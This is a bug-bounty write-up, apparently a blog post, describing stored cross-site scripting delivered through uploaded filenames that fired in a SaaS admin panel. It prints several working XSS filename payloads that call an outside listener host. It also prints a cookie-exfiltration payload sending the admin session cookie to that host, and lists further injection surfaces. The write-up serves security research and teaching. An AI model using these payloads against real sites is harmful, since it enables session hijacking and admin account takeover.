// How it started
I was three hours into a target — a document management SaaS, mid-size company, private program. The API was boring. The auth was solid. I'd tested the usual suspects and found nothing. I was looking at an upload form for user attachments, mostly out of habit, when I started thinking about something most people overlook.
Hunters test file content — EICAR strings, polyglot files, malicious PDFs. But the filename itself? It's just metadata. It goes into a database field. At some point, someone renders it in a list view. And if nobody sanitized it when it was stored, it's a stored XSS payload sitting in your database, waiting for an admin to open the right page.
// The first test — confirming the surface
Before injecting anything, I wanted to confirm the filename was reflected somewhere in the UI. I uploaded a file with a distinctive name and went looking for it.
The filename appeared verbatim in the file listing. No truncation, no encoding visible in the rendered HTML. I right-clicked and inspected the source — the filename was inside an unescaped <td> element. The app was rendering it raw.
That was all I needed. The surface was confirmed. Now I needed to know where else the filename appeared — specifically, whether it rendered in an admin context where a session cookie would be worth stealing.
// Mapping the render surfaces
This is the step most writeups skip. Before injecting a real XSS payload, I spent 10 minutes mapping every place in the app where a filename could be rendered:
- User-facing file list — confirmed, but same-origin as the attacker. Low value.
- Activity feed — "You uploaded FILENAME" — likely rendered in both user and admin views.
- Email notifications — "A new file has been shared: FILENAME" — rendered by an email client, not a browser. XSS won't fire here but good for phishing.
- Admin file manager —
/admin/filesreturned a 302 to login. This meant there was an admin panel listing user uploads. If an admin had to review flagged files, they'd see the filename there. - Audit log —
/admin/auditalso 302'd. Audit logs almost always include filenames verbatim.
// The payload
I set up my pingback.sh listener — subdomain abc123.pingback.sh — and crafted the filename. The goal: when the admin opens the file list, their browser loads a resource from my listener, proving the XSS fired in an admin context.
# Classic img onerror — works when the filename is in an HTML attribute "><img src=//abc123.pingback.sh/filename-xss onerror=this.src>.pdf # If the filename lands in a <td> or <div> — script tag variant <script src=//abc123.pingback.sh/filename-xss></script>.pdf # SVG variant — bypasses some basic filters <svg onload=fetch('//abc123.pingback.sh/svg')>.pdf # Polyglot — works in both attribute context and tag context "><svg/onload=fetch('//abc123.pingback.sh/poly')>.pdf # If the filename is inside a JS string (e.g. var filename = "FILENAME") "; fetch('//abc123.pingback.sh/js-ctx'); var x=".pdf
I went with the img onerror variant first — it's the most reliable across different HTML contexts and doesn't require JavaScript execution to be unblocked by CSP for the initial load. I renamed my test file and re-uploaded it.
On my own file listing, the image tag was visible as raw text — the user-facing frontend was escaping the filename properly. I made a note: the user side is safe. But the admin panel was a different code path, probably a different template, written by a different developer. I set a reminder and went to make coffee.
// Three hours later
I came back to my pingback dashboard expecting nothing. The file had been sitting there for three hours. I'd moved on to other endpoints.
Two details made this hit a confirmed P1 instead of a self-XSS:
First, the Referer header: https://admin.acmesaas.com/admin/files. That's not the user-facing app — that's the admin subdomain. A staff member had opened the admin file manager and my payload had fired in their browser session.
Second, the timing: three hours after upload. This wasn't automated. A real human admin had manually reviewed the file list — probably as part of a content moderation workflow. My payload had been sitting in their database, waiting.
admin.acmesaas.com in the Referer = admin context = the finding just became a P1. Always check the Referer in your pingback hit.
// Escalating the PoC — stealing the session cookie
The first hit proved the XSS fired in the admin panel. Now I needed to demonstrate the full impact without actually taking over the account. The standard escalation: show that you could exfiltrate the session cookie.
# Cookie exfiltration payload — use this in the filename # Sends the admin's cookies to your pingback listener as a URL parameter "><img src=x onerror="fetch('//abc123.pingback.sh/cookie?c='+btoa(document.cookie))">.pdf # What you see in pingback: GET /cookie?c=c2Vzc2lvbj1hZG1pbi10b2tlbi1oZXJlOyBwYXRoPSc... # Decode the base64: # session=admin-token-here; path=/; HttpOnly ← if HttpOnly is missing, full ATO # session=[redacted]; Secure; HttpOnly ← HttpOnly present, note in report
In this case, the cookie came through without the HttpOnly flag — meaning it was fully accessible to JavaScript and a real attacker could take over the admin session. The report went in as Critical.
// The full attack timeline
img onerror variant pointing to abc123.pingback.sh/filename-xss. User-side rendered it as escaped text — admin side unknown.admin.acmesaas.com/admin/files. A real admin had opened the file manager. Payload executed in their browser.HttpOnly absent — full ATO possible.// Every surface worth testing
The filename vector isn't limited to upload forms. Anywhere a user-controlled name ends up in an HTML template is a candidate:
- File upload forms — the obvious one. Test the filename, not just the content.
- Image / avatar uploads — profile pictures, company logos. The filename often appears in admin user management pages.
- Import feature filenames — CSV import, data migration tools. The filename is usually shown in import history logs viewed by admins.
- Email attachment names — if users can send emails through the platform, attachment filenames may render in recipient inboxes or admin moderation queues.
- Document titles vs filenames — some apps auto-populate a document title from the filename. Test if the title field inherits the injection.
- Archive contents — upload a ZIP. If the app extracts and lists the contents, filenames inside the ZIP are also a vector.
// Why this keeps working in 2026
Modern web frameworks escape output by default — React, Vue, Angular all handle HTML encoding automatically. So why does filename XSS still work?
Because admin panels are almost always legacy code. The user-facing app was rewritten in React. The admin panel is still a five-year-old server-rendered template that a backend developer wrote in a weekend and nobody has touched since. It predates the framework. It doesn't benefit from automatic escaping. And it renders filenames from a database field that nobody thought to sanitize on the way in.
One team writes the user frontend carefully. A different team, with different standards, wrote the admin backend. The gap between them is where the bug lives.